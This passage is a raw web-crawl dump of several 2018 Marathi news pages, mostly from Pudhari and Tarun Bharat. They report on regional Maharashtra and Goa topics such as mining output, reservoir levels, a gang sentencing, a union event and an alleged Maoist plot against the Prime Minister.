अंबाझरी येथील प्रेम जोरनकर व सुमीत गोपाळे यांच्याविरुद्ध ३३ आर डब्ल्यू ,१३५ मपोका अन्वये चालानची कारवाई करण्यात आली. तसेच अल्पवयीन मुलांचे ओळखपत्रही जप्त करण्यात आले.\nलोकप्रतिनिधी काय प्रबोधन करणार \nहुक्का पार्लरमुळे तरुण पिढी बर्बाद होत आहे. यापासून तरुणांना परावृत्त करण्यासाठी मार्गदर्शन करण्याची जबाबदारी लोकप्रतिनिधींची असते. अशा परिस्थितीत लोकप्रतिनिधी असलेले काँग्रेसचे नगरसेवक बंटी शेळके यांच्यासारखी व्यक्ती अशा ठिकाणी सापडणे हे कितपत योग्य आहे. लोकप्रतिनिधी यातून कोणते मार्गदर्शन करू इच्छितात, असा प्रश्न निर्माण झाला आहे. तसेच या घटनेनंतर काँग्रेस नेते शेळके यांच्यावर काय कारवाई करतात याकडेही लक्ष लागले आहे.\nबॉलीवुड के बाद अब टीवी पर धमाल मचाएगी यह खूबसूरत एक्ट्रेस,\n अजय देवगन ने ट्विटर पर शेयर कर दिया काजोल का Whatsapp नंबर\nसंस्कार शाश्वत, मानव परिवर्तशील : केंद्रीय मंत्री नितीन गडकरी\nमेट्रोची गती ताशी ९० किमी वेगापर्यंत वाढण्यासाठी प्रयत्न सुरु\n28 सितंबर को देश भर के दवा विक्रेता हड़ताल पर\nमनपा पस्त,जनता त्रस्त ऑटोचालक मस्त\nनगरसेविका रुपाली ठाकुर के देवर ने की मनपा स्वास्थ्य कर्मी से मारपीट\nहंगामें के बीच बहुमत के आधार पर सारे विषय मंजूर\nसंस्कार शाश्वत, मानव परिवर्तशील : केंद्रीय मंत्री नितीन गडकरी\nमेट्रोची गती ताशी ९० किमी वेगापर्यंत वाढण्यासाठी प्रयत्न सुरु\nबुधवारी वीज पुरवठा बंद राहणार\nपणन महासंघाला माहिती तंत्रज्ञानाद्वारे अधिक सक्षम करणे गरजेचे – पणनमंत्री सुभाष देशमुख\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00151.warc.wet.gz", "language": "mr", "language_score": 0.86, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/category/editions/sangli/page/60", "date_download": "2018-09-25T17:17:26Z", "digest": "sha1:4F2ERHFA6W7KQJ3FFYIYNAEER4PQERUN", "length": 9506, "nlines": 50, "source_domain": "www.tarunbharat.com", "title": "सांगली Archives - Page 60 of 341 - तरुण भारत | तरुण भारत", "raw_content": "\nउजनीतून भीमेला पाणी सोडले\nपंढरपूर / प्रतिनिधी सोलापूर जिल्हय़ांची वरदायिनी असणाऱया उजनी धरणामधून पिण्यासाठी भीमा नदीमधे मंगळवारी उशीराने 800 क्युसेकपर्यंत पाणी सोडण्यात आलेले आहे. तर यावेळी उजनी धरणाची पातळी ही केवळ वजा दोन टक्के इतकी आहे. याबाबत अधिक माहीती अशी की, गेल्या काही दिवसापासून उजनी धरणामधून भीमेमधे पाणी सोडण्याबाबत मागणी होत होती. मूळात जलसंपदा विभागाच्या प्रकटीकरणामधे भीमा नदीला पाणी सोडण्याचा उल्लेख नव्हता. त्यामुळे ...Full Article\nराष्ट्रीयतेबाबत हिंदू-स्त्री पुरूष नपुंसक : संभाजी भिडे\nऑनलाईन टीम / जळगाव : हिंदू-स्त्री पुरूष राष्ट्रीयतेबाबत नपुंसक असल्याचे विधान शिव प्रतिष्ठानचे अध्यक्ष संभाजी भिडे यांनी केले आहे. चीन आणि पाकिस्तान हे भारताचे नंबर एकचे शत्रू आहेत, त्यांच्याविरोधात ...Full Article\nसोलापूर बाजार समितीचे बिगूल वाजले\nप्रतिनिधी/ सोलापूर सोलापूर कृषी उत्पन्न बाजार समितीच्या निवडणुकीचे बिगूल अखेर वाजले आहे. गेल्या कित्येक महिन्यापासून लोकांना उत्सुकता होती की, निवडणूकीचा कार्यक्रम कधी जाहीर होणार आहे. आजपासून नामनिर्देशन दाखल करण्याची ...Full Article\nअग्रणी नदीत बुडून दोघा चुलत भावांचा मृत्यू\nप्रतिनिधी/ कवठेमहांकाळ कवठेमहांकाळ तालुक्यातील मळणगाव जवळच्या अग्रणी नदीत बुडून दोन चुलत भावाचा दुर्दैवी मृत्यू झाला आहे. हे दोघेही सावळज (ता. तासगाव) येथील आहेत. दिनेश रमाकांत पोतदार (वय 32) आणि ...Full Article\nमंडल अधिकारी ‘लाचलुचपत’च्या जाळय़ात\nइस्लामपूर शेत जमिनीच्या खरेदी दस्ताची सात-बारा रेकॉर्डला नोंद करण्यासाठी 10 हजार रुपयांची लाच घेताना इस्लामपूर मंडलचे मंडल अधिकारी शशिकांत हिंदुराव जाधव याला सांगली लाचलुचपत प्रतिबंधक विभागाने रंगेहाथ पकडले. सोमवारी ...Full Article\nपंढरपुर-टेंभुर्णी रोडवर करकंब जवळील अपघात एक जण ठार तर पाच जण जखमी\nवार्ताहर/ करकंब पंढरपुर-टेंभुर्णी रोडवर करकंब जवळील लांडा महादेव चौकात (शंकरनगर) शनिवारी 26 रोजी रात्री 2 वाजण्याच्या सुमारास पंढरपुरकडे निघलेला टिपर व समोरून आलेली पिकअप गाडी यांची समोरासमोर धड़क होऊन ...Full Article\nपेटत्या वातीवर रॉकेल पडून आग\nप्रतिनिधी/ सांगली निरांजनमधील वात उंदरांनी पळवल्याने रॉकेलच्या कॅनला आग लागून झालेल्या दुर्घटनेत संसारपयोगी साहित्य भस्मसात झाले. यामध्ये सुमारे पंचाहत्तर हजारांचे नुकसान झाले. रविवारी सकाळी साडेनऊ वाजण्याच्या सुमारास गावभागातील महापालिकेच्या ...Full Article\nटाटासफारी-मोटारसायकल अपघातात मायलेक ठार\nप्रतिनिधी/ माळशिरस पुणे पंढरपूर पालखी मार्गावर पुरुंदावडे ता. माळशिरस नजीक टाटा सफारी व मोटर सायकल यांच्या समोरसमोर झालेल्या धडकेत मोटार सायकलवरील दोघे ठार झाल्याची घटना रविवारी दुपारी सुमारे दीडच्या ...Full Article\nमिरजेत बंगला फोडून 54 हजारांचा ऐवज लंपास\nप्रतिनिधी/ मिरज शहरातील बोलवाड रोडवर असलेला माऊली बंगला फोडून त्यातील सोन्या-चांदीचे दागिने आणि रोख रक्कम असा 54 हजार रुपयांचा ऐवज अज्ञात चोरटय़ांनी चोरु नेला असल्याची फिर्याद योगेश्वर विष्णू नेणे ...Full Article\nड्रेनेज ठेकेदार, जीवन प्राधीकरणविरूद्ध मनपाची तक्रार\nप्रतिनिधी/ सांगली ड्रेनेज चेंबरमध्ये गुदमरून दोन कामगारांच्या झालेल्या मृत्यूप्रकरणी ड्रेनेज ठेकेदार आणि जीवन प्राधीकरण विभागाच्या कार्यकारी अभियंत्यावर गुन्हा दाखल करण्यासाठी महापालिकेने रविवारी शहर पोलीस ठाण्यात तक्रार दिली. पण, शहर ...Full Article\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00152.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.pudhari.news/news/Goa/Panaji-In-the-state-mineral-excavation/", "date_download": "2018-09-25T16:57:58Z", "digest": "sha1:S7YTHH4IUV32UKVNBSEBF4BYEYDHF3TB", "length": 6865, "nlines": 49, "source_domain": "www.pudhari.news", "title": " राज्यात केवळ 6.8 दशलक्ष टन खनिज उत्खनन | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Goa › राज्यात केवळ 6.8 दशलक्ष टन खनिज उत्खनन\nराज्यात केवळ 6.8 दशलक्ष टन खनिज उत्खनन\nगोव्याला 20 दशलक्ष टन खनिज उत्खनन मर्यादा असली तरी गतसाली 2017 च्या मोसमात डिसेंबरअखेरपर्यंत राज्यात केवळ 6.8 दशलक्ष टन एवढेच खनिज उत्खनन झाले असल्याची माहिती खाण खात्याच्या सूत्रांनी दिली. त्यामुळे एकेकाळी राज्याचा आर्थिक कणा मानला जाणार्‍या खाण उद्योगावर सध्या मंदीचे सावट असल्याचे दिसत आहे. गतसाली गोव्यात जून महिन्यात सुरू झालेला मान्सून सप्टेंबर महिन्यापर्यंत सुरू राहिल्यामुळे खनिज व्यवसाय उशिरा सुरू झाला. त्यातच खनिजवाहू ट्रक मालकांनी वाहतूक दरवाढीसाठी केलेल्या आंदोलनामुळे खनिज वाहतूक रखडली होती. आंतरराष्ट्रीय बाजारपेठेत खनिजाचे उतरलेले दर, वाढते इंधन दर, निर्यात शुल्क आदींमुळे आता खाण व्यवसायात मंदी व्यापून राहिली आहे. राज्यात 7.8 दशलक्ष टन खनिज उत्खननाची अपेक्षा असली तरी प्रत्यक्षात त्यात 1 दशलक्ष टन उत्खनन घटले असल्याचे खाण खात्याच्या सूत्रांनी सांगितलेे.\nगोवा सरकारच्या खाण खात्याने एकूण 45 खनिज लिजांचे 2016 साली नूतनीकरण करून दिले असले तरी सांगे, सत्तरी व डिचोली या तालुक्यातील केवळ बारा-तेरा खनिज खाणी सध्या कार्यरत आहेत. या व्यतिरिक्त सत्तरी तालुक्यातील सोनशी येथे सुरू असलेल्या एकूण तेरा खनिज खाणींमुळे प्रदूषण पसरत असल्याचा दावा करून ग्रामस्थांनी खाणींना विरोध केल्याने या प्रकरणी न्यायालयाला हस्तक्षेप करावा लागला. गोवा प्रदूषण नियंत्रण मंडळाने तेरापैकी बारा खनिज खाणी बंद केल्या आहेत. त्यामुळेही गोव्याच्या एकूण खनिज व्यवसायाने अद्याप म्हणावा तसा वेग घेतलेला नाही. गोव्यातून फोमेन्तो, वेदांता-सेझा गोवा, तिंबलो व व्ही. एम. साळगावकर आदी महत्वाच्या कंपन्यांकडून विदेशात जास्त प्रमाणात खनिज माल निर्यात केला जातो.\nकळंगुटमध्ये पर्यटकांच्या मारहाणीत चौघे जखमी\nजमीन वादातून चुलत्याला मारले\nवाहतूक खात्याचे 61 अर्ज ऑनलाईन\nराज्यात केवळ 6.8 दशलक्ष टन खनिज उत्खनन\nम्हादईप्रश्‍नी सर्वच राजकीय पक्षांनी धोरण जाहीर करावे\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00153.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Marathwada/keli-tank-water-level-aurangabad/", "date_download": "2018-09-25T17:07:15Z", "digest": "sha1:EOUG23Y4VE5ABFEQCNTR52R5372LN4D5", "length": 6991, "nlines": 51, "source_domain": "www.pudhari.news", "title": " केळी जलाशयाच्या पाणीपातळीत घट | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Marathwada › केळी जलाशयाच्या पाणीपातळीत घट\nकेळी जलाशयाच्या पाणीपातळीत घट\nऔंढा नागनाथ : प्रतिनिधी\nऔंढा नागनाथ तालुक्यात अनेक छोटी-मोठी तलाव आहेत. मात्र मागील काही दिवसांपासून वाढत्या उष्णतेमुळे पाण्याच्या साठ्यात कमालीची घट झाल्याची दिसून येत आहे.\nया भागातील केळी जलाशयाचे पाणीपातळीत सर्वाधिक कमी झाली आहे. सध्या जलाशयात केवळ दोन टक्के पाणीसाठी शिल्लक असल्याने तलाव कोरडा पडण्याच्या मार्गावर आहे. परिणामी परिसरात ऐन उन्हाळ्यात तोंडावर पाणीटंचाईचे सावट निर्माण झाले असून उन्हाळी हंगाम धोक्यात आल्याचे चित्र आहे.\nतालुक्यात मागील काही दिवसांपासून उन्हाची चाहूल आतापासूनच जाणवत आहे. परिणामी परिसरातील विहिर, बोअर, हातपंप, तलावातील पाणी पातळीत कमालीची घट झाल्याचे दिसून येत आहे. त्यामुळे सर्व सामान्य नागरिकांसह शेतकर्‍यांना पिण्याच्या पाण्यासाठी मार्च महिन्याच्या अखेरपासून भटकंती होताना दिसून येत आहे. या भागात दरवर्षी मोठ्या प्रमाणात उन्हाळी भुईमूग घेतल्या जाते. मात्र यंदा तलावासह विहिर, बोअर आदींचे पाणी कमी झाल्याने पर्यायाने भुईमुगाची पेरणीही कमी झाल्याचे पाहावयास मिळत आहे.\nऔंढा नागनाथ तालुक्यातील केळी तलावासह सिध्देश्‍वर धरणात देखील पाणी पताळी झपाट्याने कमी झाल्याचे दिसून येत आहे. त्यामुळे केळी व सिध्देश्‍वर धरण क्षेत्रातील शेतकर्‍यांना मार्च महिन्याच्या अखेरपासूनच तीव्र पाणी टंचाईला सामोरे जावे लागत आहे. तसेच येलदरी जलाशयात देखील तीन ते चार टक्केच पाणी साठा असल्यामुळे दोन्ही धरणे यावर्षी कोरडी झाली आहेत. गेली दोन ते तीन महिन्यापासून या परिसरातील पूर्णा नदीला पाणी नसल्यामुळे नदी देखील कोरडीठाक पडली आहेत. त्यामुळे जनावरांसह वन्य प्राण्यांना पाण्यासाठी भटकंती करावी लागत आहे. यंदा सर्वाधिक पाऊस पडावा यासाठी बळीराजा आतापासूनच देवाला साकडे घालीत आहे.\nजिल्हाभरात शिवसेनेचे चक्काजाम आंदोलन\nधानोरा येथील मजुरांचे रास्ता रोको आंदोलन\nपोलिसांच्या एनओसीनंतरच फटाके लायसन्सचे नूतनीकरण\nअपघात विमा योजनेतून 175 शेतकर्‍यांना मदत\nडिजिटल महाराष्ट्र, पेपरलेस ग्रामपंचायती कागदावर\nश्रीगोंद्यात दोन हरणांचा मृत्यू\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00153.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Nashik/Nashik-tipper-Gang-Guilty-issue/", "date_download": "2018-09-25T17:37:37Z", "digest": "sha1:IHIINXIJA7YTGZKS6H3FPOXX4ILBXLD4", "length": 7835, "nlines": 35, "source_domain": "www.pudhari.news", "title": " टिप्पर गँगच्या गुंडांना आठ वर्षांचा तुरुंगवास | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Nashik › टिप्पर गँगच्या गुंडांना आठ वर्षांचा तुरुंगवास\nटिप्पर गँगच्या गुंडांना आठ वर्षांचा तुरुंगवास\nबांधकाम व्यावसायिकाच्या कार्यालयात घुसून सुमारे एक कोटी रुपयांची लूट करणार्‍या सिडकोतील कुख्यात टिप्पर गँगच्या नऊ जणांना विशेष मोक्‍का न्यायालयाने दोषी ठरवत आठ वर्षांची शिक्षा व मोक्काच्या वेगवेगळ्या कलमान्वये प्रत्येकी पंधरा लाख रुपये दंडाची सुनावली. तर सबळ पुराव्याअभावी तिघा जणांची मुक्‍तता केली आहे. यामध्ये टिप्पर गँगचा म्होरक्या गणेश सुरेश वाघ उर्फ गण्या कावळे यासह समीर नासीर पठाण, नागेश भागवत सोनवणे, नितीन बाळकृष्ण काळे, अनिल पंडित आहेर, सुनील दौलतराव खोकले, सागर जयराम भडांगे, सोनल उर्फ लाल्या रोहिदास भडांगे, सुनील भास्कर अनार्थे यांचा समावेश आहे. विशेष मोक्का न्यायालयाने बुधवारी (दि.21) ही शिक्षा सुनावली. मोक्‍कान्वये कारवाई होण्याची ही दुसरी घटना ठरली असून, या शिक्षेमुळे शहरातील गुन्हेगारीला आळा बसेल, अशी अपेक्षा व्यक्‍त केली जात आहे.\nसहा वर्षांपूर्वी बांधकाम व्यावसायिकाच्या सिडको परिसरातील यश आर्केड, शिल्पा स्टॉक ब्रोकरसमोरील कार्यालयात घडलेल्या लुटीच्या प्रकरणानंतर अंबड पोलिसांनी टिप्पर गँगच्या 12 जणांवर एप्रिल 2013 मध्ये मोक्‍कान्वये कारवाई केली होती. सिडको परिसरासह शहरातील विविध पोलीस ठाण्यांमध्ये टिप्पर गँगच्या काही सदस्यांविरोधात हत्या, खंडणी, चेन स्नॅचिंग, लूटमार असे अनेक गुन्हे दाखल आहेत. तुरुंगातूनही या टोळीच्या गुन्हेगारी कारवाया सुरु होत्या. तत्कालीन अंबड पोलीस ठाण्याचे वरिष्ठ पोलीस निरीक्षक दिनेश बर्डेकर यांनी टिप्पर गँगवर मोक्का लावला होता. या प्रकरणी दोषींवर 970 पानाचे दोषारोपपत्र दाखल करण्यात आले होते. या अगोदर पोलिसांनी परदेशी गँगवर दोनदा मोक्‍का लावला होता. मात्र, न्यायालयात सबळ पुराव्यांअभावी हा मोक्‍का टिकू शकला नाही.\nसरकारी पक्षातर्फे अभियोक्ता एस. एस. कोतवाल यांनी कामकाज पाहीले. पैरवी अधिकारी म्हणून पोलीस हवालदार ढिकले, थोरात, बागूल, सुळे, शिंदे, माळोदे यांनी या गुन्ह्यासंदर्भात वेळोवेळी पाठपुरावा केला. दरम्यान, यापैकी चार संशयितांनी उच्च न्यायालयातून जामीन मिळविला होता. तर उर्वरित आठ संशयित गेल्या सहा वर्षांपासून नाशिकरोडच्या मध्यवर्ती कारागृहात न्यायालयीन कोठडीत होते. त्यामुळे त्यांनी सुमारे सहा वर्षे शिक्षा पूर्ण केली आहे. त्यांची ही सहा वर्षे वगळून उर्वरित दोन वर्षे शिक्षा पूर्ण करावी लागणार आहे. तसेच दंडाची रक्‍कम न भरल्यास शिक्षेमध्ये एक वर्षाची वाढ होईल, असे न्यायालयाने म्हटले आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00153.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Pune/Organisation-should-used-for-the-progress-of-the-workers/", "date_download": "2018-09-25T17:12:20Z", "digest": "sha1:VD3MV3SVQTWDTXR2EX6URKFTLTRUHVLD", "length": 7469, "nlines": 37, "source_domain": "www.pudhari.news", "title": " संघटना कामगारांच्या प्रगतीसाठीच हव्यात | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Pune › संघटना कामगारांच्या प्रगतीसाठीच हव्यात\nसंघटना कामगारांच्या प्रगतीसाठीच हव्यात\nपिंपरीः परदेशात कामगार संघटना संप करत नाहीत, तर काळ्या फिती लावून काम करतात. आपल्याकडे डाव्या कामगार संघटनांच्या आंदोलनांमुळे अनेक कारखाने बंद झाले असून उत्पादन थांबले आहे, असे होता कामा नये. कामगार संघटनांनी कामगार हा केंद्रबिंदू मानून त्यांच्या प्रगतीसाठी काम करावे, असे आवाहन पालकमंत्री गिरीश बापट यांनी येथे केले. पिंपरी -चिंचवड महापालिका कर्मचारी महासंघातर्फे थेरगांव येथे उभारण्यात येणार्‍या कै. शंकर (आण्णा) गावडे स्मृती कामगार भवनाचे भूमिपूजन पालकमंत्री गिरीष बापट यांच्या हस्ते झाले. त्या वेळी ते बोलत होते. अध्यक्षस्थानी महापौर नितीन काळजे होते. यावेळी खासदार श्रीरंग बारणे, अमर साबळे, भाजप शहराध्यक्ष आमदार लक्ष्मण जगताप, अ‍ॅड. गौतम चाबुकस्वार, उपमहापौर शैलजा मोरे, स्थायी समिती अध्यक्षा ममता गायकवाड, विरोधी पक्षनेते दत्ता साने, कर्मचारी महासंघाचे अध्यक्ष बबनराव झिंजुर्डे, अतिरिक्त आयुक्त दिलीप गावडे, नगरसेवक कैलास बारणे, झामाताई बारणे आदी उपस्थित होते.\nयावेळी पालकमंत्री बापट म्हणाले, चांगल्या पद्धतीने कामगार संघटना चालवणे अवघड आहे. कारण कामगारांच्या अनेक मागण्या असतात .दुसरीकडे प्रशासनाची कायद्याची बंधने असतात. त्यातून मार्ग काढावा लागतो. खा.साबळे म्हणाले, ज्या कामगारांच्या बळावर महापालिका व हे शहर उभे आहे. त्या कामगारांच्या आनंदाचा आलेख उंचावत नाही तोवर श्रीमंत पालिका या संकल्पनेस अर्थ नाही. कामगारांकडून शासनाकडे येणारा पैसा त्यांच्या कल्याणासाठी खर्च व्हावा, अशी अपेक्षा व्यक्त केली\nआ. जगताप म्हणाले, कै. शंकर गावडे यांनी केवळ पिंपरी - चिंचवड महापालिकेतीलच नव्हे तर राज्यातील पालिका कर्मचार्‍यांचे नेतृत्व केले. त्यांच्या नावाने कामगार भवन उभारणे स्त्युत आहे. खा बारणे , आ. चाबुकस्वार यांचीही या वेळी भाषणे झाली. कर्मचारी महासंघाचे अध्यक्ष बबन झिंजुर्डे यांनी महापालिकेतील रिक्तपदे भरली जात नाहीत, मानधनावर कर्मचारी घेतले जातात अशी खंत व्यक्त केली. घटागाडी कर्मचार्‍यांचा प्रश्न, पीएमपी कर्मचार्‍यांच्या केलेल्या बदल्या याचाही त्यांनी उल्लेख केला.\nपिंपरी- चिंचवड महापालिकेतील कामगारांच्या विविध प्रश्नावर पुढील आठवड्यात आयुक्तांसमवेत बैठक घेऊ असे, आश्वासन यावेळी पालकमंत्री गिरीश बापट यांनी दिले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00153.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Pune/Pune-Police-intercepts-internal-communication-of-Maoists-planning-a-Rajiv-Gandhi-type-assassination-of-Prime-Minister-Modi/", "date_download": "2018-09-25T16:51:49Z", "digest": "sha1:ZF3KKDWNHJJHK24XRO3WMQM2SVM6LH4H", "length": 9977, "nlines": 39, "source_domain": "www.pudhari.news", "title": " नक्षलवाद्यांकडून राजीव गांधीं यांच्याप्रमाणेच PM मोदींच्या हत्येचा कट? : सरकारी वकील | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Pune › नक्षलवाद्यांकडून राजीव गांधीं यांच्याप्रमाणेच PM मोदींच्या हत्येचा कट\nनक्षलवाद्यांकडून राजीव गांधीं यांच्याप्रमाणेच PM मोदींच्या हत्येचा कट\nमुंबई : विशेष प्रतिनिधी\nपंतप्रधान नरेंद्र मोदी आणि मुख्यमंत्री देवेंद्र फडणवीस हे नक्षलवाद्यांचे टार्गेट असल्याचे स्पष्ट झाले आहे. राजीव गांधी यांच्याप्रमाणे नरेंद्र मोदी यांना एलिमिनेट केले पाहिजे, अशी सूचना एका फ्रंटल नेत्याने आपल्या केडरला दिल्याचे पुरावे समोर आले आहेत. तर, मुख्यमंत्री देवेंद्र फडणवीस आणि त्यांच्या कुटुंबीयांनाही धमकीचे पत्र आले आहे. गडचिरोलीत नक्षलवाद्यांविरोधात केलेल्या कारवाईचा बदला घेण्याची धमकी या पत्रामध्ये देण्यात आली आहे. त्यामुळे सुरक्षा यंत्रणा सतर्क करण्यात आली असून, मुख्यमंत्र्यांसह त्यांच्या कुटुंबीयांच्या संरक्षणात वाढ करण्यात आली आहे.\nअर्बन नक्षल फ्रंटलवर झालेल्या छापेमारीत पंतप्रधान नरेंद्र मोदी यांना संपविण्याचा नक्षलवादी कट रचत असल्याचे समोर आल्याची माहिती मुख्यमंत्री देवेंद्र फडणवीस यांनी दिली. नक्षलवाद्यांच्या आपसातील संवाद सुरक्षा यंत्रणांच्या हाती लागला आहे. त्यामध्ये राजीव गांधी यांच्याप्रमाणे नरेंद्र मोदी यांनाही एलिमिनेट केले पाहिजे, अशी सूचना एक फ्रंटल नेता आपल्या नक्षल केडरला देत आहे. त्यामुळे नक्षलवाद्यांची अर्बन फ्रंटल मोदींच्या हत्येचे कारस्थान रचत आहे. अर्बन फ्रंटलच्या छाप्यात अनेक महत्त्वाच्या गोष्टी सापडल्या असल्याचेही मुख्यमंत्री म्हणाले.\nएल्गार परिषदेच्या आयोजनाप्रकरणी पाच जणांना अटक करण्यात आली आहे. त्यामधील रोना विल्सनच्या घरी झालेल्या छापेमारीत या खळबळजनक संवादाचे पुरावे सापडले आहेत. रोना विल्सनला दिल्लीतून अटक करण्यात आली होती. या पत्रात राजीव गांधी यांची ज्याप्रमाणे हत्या घडवून आणण्यात आली, त्याप्रमाणे हत्या घडवून आणण्याच्या तयारीत माओवादी आहेत, अशी माहिती सरकारी वकील उज्ज्वला पवार यांनी पुणे न्यायालयात दिली आहे.\nदरम्यान, मुख्यमंत्री देवेंद्र फडणवीस यांनाही धमकी देणारी दोन पत्रे मंत्रालयात आली आहेत. मुख्यमंत्री आणि त्यांच्या कुटुंबीयांना मारण्याची धमकी या पत्रातून देण्यात आली आहे. गडचिरोली जिल्ह्यात एप्रिलमध्ये पोलिसांच्या कारवाईत मोठ्या संख्येने माओवादी मारले गेले होते. त्यानंतर आलेल्या धमक्यांच्या दोन पत्रांमध्ये मुख्यमंत्री फडणवीस, त्यांचे कुटुंबीय आणि गडचिरोलीतील कारवाई करणार्‍या पोलिस अधिकार्‍यांना लक्ष्य केले जाईल, आम्ही या कारवार्ईचा बदला घेऊ, अशा धमक्या देण्यात आल्या आहेत. या पत्रांमुळे खळबळ उडाली आहे.\nआम्ही मार्क्सच्या विचारांनी प्रेरित लोक आहोत. आमच्यातील काही जणांना ठार करून तुम्ही आमचा विचार संपवू शकणार नाही. गडचिरोलीत जे काही घडले, त्याचा हिशेब नक्‍कीच होईल, अशी भाषा या पत्रांमध्ये वापरण्यात आली आहे. ही पत्रे नेमकी कुठून आली, याचा कसून तपास गृह विभाग घेत आहे. आपल्याला आलेले पत्र आपण पोलिसांना दिले असून, त्यावर योग्य ती कारवाई केली जाईल, असे मुख्यमंत्री म्हणाले.\nकोरेगाव - भीमा येथील हिंसाचाराच्या घटनेप्रकरणी माओवादी समर्थकांवर बुधवारी अटकेची कारवाई करण्यात आली आहे. या पार्श्‍वभूमीवर माओवाद्यांच्या हिंसक कारवाया वाढण्याची शक्यता आहे. त्यामुळे 